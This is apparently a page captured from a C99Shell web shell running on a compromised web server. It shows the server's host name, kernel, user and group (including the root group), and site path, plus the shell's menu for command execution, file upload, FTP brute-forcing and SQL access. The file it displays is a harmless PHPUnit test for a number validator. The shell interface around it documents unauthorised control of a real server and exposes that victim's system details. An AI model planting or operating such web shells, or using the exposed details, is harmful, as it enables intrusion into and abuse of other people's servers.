!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/ecom1.picotech.app/public_html_ecom1/vendor/maba/math/Tests/   drwxr-xr-x
Free 25.42 GB of 117.98 GB (21.54%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     NumberValidatorTest.php (2.31 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

namespace Maba\Component\Math\Tests;

use 
Maba\Component\Math\NumberValidator;
use 
Maba\Component\Math\NumberValidatorInterface;

class 
NumberValidatorTest extends \PHPUnit_Framework_TestCase
{
    
/**
     * @var NumberValidatorInterface
     */
    
protected $numberValidator;

    public function 
setUp()
    {
        
$this->numberValidator = new NumberValidator();
    }

    
/**
     * @param mixed $number
     *
     * @dataProvider validNumberProvider
     */
    
public function testValidateNumberWithValidNumber($number)
    {
        
$this->numberValidator->validateNumber($number);
        
$this->addToAssertionCount(1);  // we assert that exception is not thrown
    
}

    
/**
     * @param mixed $number
     *
     * @expectedException \Maba\Component\Math\Exception\InvalidNumberException
     * @dataProvider invalidNumberProvider
     */
    
public function testValidateNumberWithInvalidNumber($number)
    {
        
$this->numberValidator->validateNumber($number);
    }

    public function 
validNumberProvider()
    {
        return array(
            array(
'0'),
            array(
'-0'),
            array(
'0.123'),
            array(
'123.123'),
            array(
'12345678901234567890123456789'),
            array(
'123456789012345678901234567890.123456789012345678901234567890'),
            array(
'-123456789012345678901234567890'),
            array(
'-123456789012345678901234567890.123456789012345678901234567890'),
            array(
'1.000000'),
            array(
'-1.000000'),
            array(
'00001'),
            array(
'00001.00001'),
            array(
123),
            array(
0),
            array((float)
0),
            array(-
123),
            array(
0.123),
            array(-
0.123),
            array(
123.123),
            array(-
123.123),
        );
    }

    public function 
invalidNumberProvider()
    {
        return array(
            array(array()),
            array(array(
1)),
            array(new 
\stdClass()),
            array(
'a'),
            array(
'123a'),
            array(
'123.123a'),
            array(
'a123.123'),
            array(
'123a.123'),
            array(
'123E+2'),
            array(
'123E-2'),
            array(
'0.1E+2'),
            array(
'1,2'),
            array(
'1,200.00'),
            array(
'1 100'),
            array(
'1 100.12'),
            array(
'1 100,12'),
        );
    }


:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0043 ]--